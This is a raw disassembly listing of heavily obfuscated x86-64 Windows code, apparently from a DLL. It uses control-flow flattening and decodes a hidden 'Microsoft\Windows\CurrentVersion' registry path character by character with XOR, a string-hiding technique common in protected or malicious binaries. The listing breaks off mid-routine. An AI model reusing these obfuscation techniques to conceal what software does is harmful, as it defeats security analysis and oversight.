mov qword [rbp - 0x70], rax
mov eax, 0x867214ed
jmp 0x180074cd0
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 9], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007ea05
cmp ecx, 0x71319a28
jne 0x18007e9f0
jmp 0x18007eb6c
mov ecx, 0x71319a28
jmp 0x18007e9f0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007ebf7
cmp edi, 0x35d4fac2
jne 0x18007ea20
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007ea20
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007ec89
cmp edi, 0x35d4fac2
jne 0x18007ea60
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007ea60
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xe], cx
mov ecx, 0xaf9b86e2
nop word cs:[rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007ed19
cmp ecx, 0xaf9b86e2
jne 0x18007eaa0
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007eae8
cmp ecx, 0x28a832c8
jne 0x18007eac0
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007eac0
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x65
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007eaa0
mov dword [rbp + 0xf0], 0x2f
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007ebc0
cmp edx, 0x926a4418
je 0x18007ebde
cmp edx, 0xbe73cc8d
je 0x18007ebec
cmp edx, 0xe39c1de6
jne 0x18007eb90
jmp 0x18007eea2
cmp edx, 0x8bbf196b
je 0x18007ebf3
cmp edx, 0x8f01ddc2
jne 0x18007eb90
movzx ecx, byte [rbp + 0xd8]
add cl, 9
mov edx, edi
jmp 0x18007eb90
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007eb90
mov edx, 0xe39c1de6
jmp 0x18007eb90
mov edx, ebx
jmp 0x18007eb90
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 9], al
mov dword [rbp + 0xd8], 0x46
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007ec60
cmp ecx, 0x75847964
je 0x18007ec7e
cmp ecx, 0x64823d8c
je 0x18007ef0c
cmp ecx, 0xff9fb55e
jne 0x18007ec20
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007ec20
cmp ecx, 0xabbc78b9
je 0x18007ec85
cmp ecx, 0xf18f601f
jne 0x18007ec20
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007ec20
mov ecx, 0x64823d8c
jmp 0x18007ec20
mov ecx, edx
jmp 0x18007ec20
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 9], al
mov dword [rbp + 0xd8], 0x46
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop
cmp ecx, 0xff9fb55d
jle 0x18007ecf0
cmp ecx, 0x75847964
je 0x18007ed0e
cmp ecx, 0x64823d8c
je 0x18007ef47
cmp ecx, 0xff9fb55e
jne 0x18007ecb0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007ecb0
cmp ecx, 0xabbc78b9
je 0x18007ed15
cmp ecx, 0xf18f601f
jne 0x18007ecb0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007ecb0
mov ecx, 0x64823d8c
jmp 0x18007ecb0
mov ecx, edx
jmp 0x18007ecb0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x10], cx
mov ecx, 0xaf9b86e2
nop dword [rax + rax]
cmp ecx, 0x5d9abfc6
je 0x18007ef87
cmp ecx, 0xaf9b86e2
jne 0x18007ed30
mov qword [rbp + 0x9b8], rsi
mov ecx, 0x28a832c8
cmp ecx, 0xc65cb09
je 0x18007ed78
cmp ecx, 0x28a832c8
jne 0x18007ed50
mov rcx, qword [rbp + 0x9b8]
movzx ecx, word [rcx]
mov word [rbp + 0xe0], cx
mov ecx, 0xc65cb09
jmp 0x18007ed50
movzx ecx, word [rbp + 0xe0]
xor ecx, 0x5c
mov dword [rbp + 0xf0], ecx
mov ecx, 0x5d9abfc6
jmp 0x18007ed30
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xa], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007ef05
cmp ecx, 0x71319a28
jne 0x18007eef0
jmp 0x1800800cc
mov ecx, 0x71319a28
jmp 0x18007eef0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x180080157
cmp edi, 0x35d4fac2
jne 0x18007ef20
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007ef20
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x1800801e9
cmp edi, 0x35d4fac2
jne 0x18007ef60
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007ef60
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x12], cx
add rax, 0x14
mov qword [rbp + 0xc8], rax
lea rax, [0x18011fbdc]
mov qword [rbp + 0xd8], rax
mov ecx, 0x4d343715
nop
cmp ecx, 0x3f1619a0
jg 0x18007eff0
cmp ecx, 0x8865ea94
je 0x180080279
cmp ecx, 0x90f2578a
jne 0x18007efb0
mov word [rax], 0
add rax, 2
cmp rax, qword [rbp + 0xf0]
mov ecx, 0x90f2578a
mov edx, 0x8865ea94
cmove ecx, edx
jmp 0x18007efb0
cmp ecx, 0x3f1619a1
je 0x18007f08a
cmp ecx, 0x4d343715
jne 0x18007efb0
mov rcx, qword [rbp + 0xd8]
movzx ecx, word [rcx]
mov edx, ecx
not edx
mov ebx, 0xaf9b86e2
nop word [rax + rax]
cmp ebx, 0x5d9abfc6
je 0x18007f10a
cmp ebx, 0xaf9b86e2
jne 0x18007f020
mov qword [rbp + 0x9b8], rsi
mov ebx, 0x28a832c8
cmp ebx, 0xc65cb09
je 0x18007f068
cmp ebx, 0x28a832c8
jne 0x18007f040
mov rbx, qword [rbp + 0x9b8]
movzx ebx, word [rbx]
mov word [rbp + 0xa8], bx
mov ebx, 0xc65cb09
jmp 0x18007f040
movzx ebx, word [rbp + 0xa8]
mov edi, ebx
and edi, edx
xor ebx, 0xffff
and ebx, ecx
or ebx, edi
mov dword [rbp + 0xb8], ebx
mov ebx, 0x5d9abfc6
jmp 0x18007f020
movzx eax, word [rbp + 0xe8]
mov ecx, eax
not ecx
mov edx, 0xaf9b86e2
nop word [rax + rax]
cmp edx, 0x5d9abfc6
je 0x18007f18f
cmp edx, 0xaf9b86e2
jne 0x18007f0a0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
cmp edx, 0xc65cb09
je 0x18007f0e8
cmp edx, 0x28a832c8
jne 0x18007f0c0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f0c0
movzx edx, word [rbp + 0xa8]
mov ebx, edx
and ebx, ecx
xor edx, 0xffff
and edx, eax
or edx, ebx
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f0a0
mov ecx, dword [rbp + 0xb8]
mov rdx, qword [rbp + 0xc8]
mov word [rdx], cx
mov rcx, qword [rbp + 0xc8]
mov edx, 0xaf9b86e2
nop word cs:[rax + rax]
cmp edx, 0x5d9abfc6
je 0x18007f1c6
cmp edx, 0xaf9b86e2
jne 0x18007f130
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
cmp edx, 0xc65cb09
je 0x18007f178
cmp edx, 0x28a832c8
jne 0x18007f150
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f150
movzx edx, word [rbp + 0xa8]
xor edx, 0x69
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f130
mov eax, dword [rbp + 0xb8]
mov rcx, qword [rbp + 0xe0]
mov word [rcx], ax
mov rax, qword [rbp + 0xe0]
add rax, 2
mov rcx, qword [rbp + 0xb0]
add rcx, 0x5e
mov qword [rbp + 0xf0], rcx
mov ecx, 0x90f2578a
jmp 0x18007efb0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 2], dx
mov edx, 0xaf9b86e2
nop word cs:[rax + rax]
nop
cmp edx, 0x5d9abfc6
je 0x18007f23f
cmp edx, 0xaf9b86e2
jne 0x18007f1e0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f228
cmp edx, 0x28a832c8
jne 0x18007f200
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f200
movzx edx, word [rbp + 0xa8]
xor edx, 0x63
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f1e0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 4], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f2af
cmp edx, 0xaf9b86e2
jne 0x18007f250
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f298
cmp edx, 0x28a832c8
jne 0x18007f270
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f270
movzx edx, word [rbp + 0xa8]
xor edx, 0x72
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f250
mov edx, dword [rbp + 0xb8]
mov word [rcx + 6], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f31f
cmp edx, 0xaf9b86e2
jne 0x18007f2c0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f308
cmp edx, 0x28a832c8
jne 0x18007f2e0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f2e0
movzx edx, word [rbp + 0xa8]
xor edx, 0x6f
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f2c0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 8], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f38f
cmp edx, 0xaf9b86e2
jne 0x18007f330
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f378
cmp edx, 0x28a832c8
jne 0x18007f350
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f350
movzx edx, word [rbp + 0xa8]
xor edx, 0x73
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f330
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0xa], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f3ff
cmp edx, 0xaf9b86e2
jne 0x18007f3a0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f3e8
cmp edx, 0x28a832c8
jne 0x18007f3c0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f3c0
movzx edx, word [rbp + 0xa8]
xor edx, 0x6f
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f3a0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0xc], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f46f
cmp edx, 0xaf9b86e2
jne 0x18007f410
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f458
cmp edx, 0x28a832c8
jne 0x18007f430
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f430
movzx edx, word [rbp + 0xa8]
xor edx, 0x66
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f410
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0xe], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f4df
cmp edx, 0xaf9b86e2
jne 0x18007f480
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f4c8
cmp edx, 0x28a832c8
jne 0x18007f4a0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f4a0
movzx edx, word [rbp + 0xa8]
xor edx, 0x74
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f480
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x10], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f54f
cmp edx, 0xaf9b86e2
jne 0x18007f4f0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f538
cmp edx, 0x28a832c8
jne 0x18007f510
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f510
movzx edx, word [rbp + 0xa8]
xor edx, 0x5c
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f4f0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x12], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f5bf
cmp edx, 0xaf9b86e2
jne 0x18007f560
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f5a8
cmp edx, 0x28a832c8
jne 0x18007f580
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f580
movzx edx, word [rbp + 0xa8]
xor edx, 0x77
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f560
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x14], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f62f
cmp edx, 0xaf9b86e2
jne 0x18007f5d0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f618
cmp edx, 0x28a832c8
jne 0x18007f5f0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f5f0
movzx edx, word [rbp + 0xa8]
xor edx, 0x69
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f5d0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x16], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f69f
cmp edx, 0xaf9b86e2
jne 0x18007f640
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f688
cmp edx, 0x28a832c8
jne 0x18007f660
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f660
movzx edx, word [rbp + 0xa8]
xor edx, 0x6e
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f640
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x18], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f70f
cmp edx, 0xaf9b86e2
jne 0x18007f6b0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f6f8
cmp edx, 0x28a832c8
jne 0x18007f6d0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f6d0
movzx edx, word [rbp + 0xa8]
xor edx, 0x64
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f6b0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x1a], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f77f
cmp edx, 0xaf9b86e2
jne 0x18007f720
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f768
cmp edx, 0x28a832c8
jne 0x18007f740
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f740
movzx edx, word [rbp + 0xa8]
xor edx, 0x6f
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f720
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x1c], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f7ef
cmp edx, 0xaf9b86e2
jne 0x18007f790
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f7d8
cmp edx, 0x28a832c8
jne 0x18007f7b0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f7b0
movzx edx, word [rbp + 0xa8]
xor edx, 0x77
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f790
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x1e], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f85f
cmp edx, 0xaf9b86e2
jne 0x18007f800
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f848
cmp edx, 0x28a832c8
jne 0x18007f820
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f820
movzx edx, word [rbp + 0xa8]
xor edx, 0x73
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f800
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x20], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f8cf
cmp edx, 0xaf9b86e2
jne 0x18007f870
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f8b8
cmp edx, 0x28a832c8
jne 0x18007f890
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f890
movzx edx, word [rbp + 0xa8]
xor edx, 0x5c
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f870
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x22], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f93f
cmp edx, 0xaf9b86e2
jne 0x18007f8e0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f928
cmp edx, 0x28a832c8
jne 0x18007f900
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f900
movzx edx, word [rbp + 0xa8]
xor edx, 0x63
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f8e0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x24], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007f9af
cmp edx, 0xaf9b86e2
jne 0x18007f950
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007f998
cmp edx, 0x28a832c8
jne 0x18007f970
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f970
movzx edx, word [rbp + 0xa8]
xor edx, 0x75
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f950
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x26], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fa1f
cmp edx, 0xaf9b86e2
jne 0x18007f9c0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fa08
cmp edx, 0x28a832c8
jne 0x18007f9e0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007f9e0
movzx edx, word [rbp + 0xa8]
xor edx, 0x72
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007f9c0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x28], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fa8f
cmp edx, 0xaf9b86e2
jne 0x18007fa30
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fa78
cmp edx, 0x28a832c8
jne 0x18007fa50
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fa50
movzx edx, word [rbp + 0xa8]
xor edx, 0x72
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fa30
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x2a], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007faff
cmp edx, 0xaf9b86e2
jne 0x18007faa0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fae8
cmp edx, 0x28a832c8
jne 0x18007fac0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fac0
movzx edx, word [rbp + 0xa8]
xor edx, 0x65
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007faa0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x2c], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fb6f
cmp edx, 0xaf9b86e2
jne 0x18007fb10
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fb58
cmp edx, 0x28a832c8
jne 0x18007fb30
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fb30
movzx edx, word [rbp + 0xa8]
xor edx, 0x6e
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fb10
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x2e], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fbdf
cmp edx, 0xaf9b86e2
jne 0x18007fb80
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fbc8
cmp edx, 0x28a832c8
jne 0x18007fba0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fba0
movzx edx, word [rbp + 0xa8]
xor edx, 0x74
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fb80
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x30], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fc4f
cmp edx, 0xaf9b86e2
jne 0x18007fbf0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fc38
cmp edx, 0x28a832c8
jne 0x18007fc10
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fc10
movzx edx, word [rbp + 0xa8]
xor edx, 0x76
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fbf0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x32], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fcbf
cmp edx, 0xaf9b86e2
jne 0x18007fc60
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fca8
cmp edx, 0x28a832c8
jne 0x18007fc80
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fc80
movzx edx, word [rbp + 0xa8]
xor edx, 0x65
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fc60
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x34], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fd2f
cmp edx, 0xaf9b86e2
jne 0x18007fcd0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fd18
cmp edx, 0x28a832c8
jne 0x18007fcf0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fcf0
movzx edx, word [rbp + 0xa8]
xor edx, 0x72
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fcd0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x36], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fd9f
cmp edx, 0xaf9b86e2
jne 0x18007fd40
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fd88
cmp edx, 0x28a832c8
jne 0x18007fd60
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fd60
movzx edx, word [rbp + 0xa8]
xor edx, 0x73
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fd40
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x38], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fe0f
cmp edx, 0xaf9b86e2
jne 0x18007fdb0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fdf8
cmp edx, 0x28a832c8
jne 0x18007fdd0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fdd0
movzx edx, word [rbp + 0xa8]
xor edx, 0x69
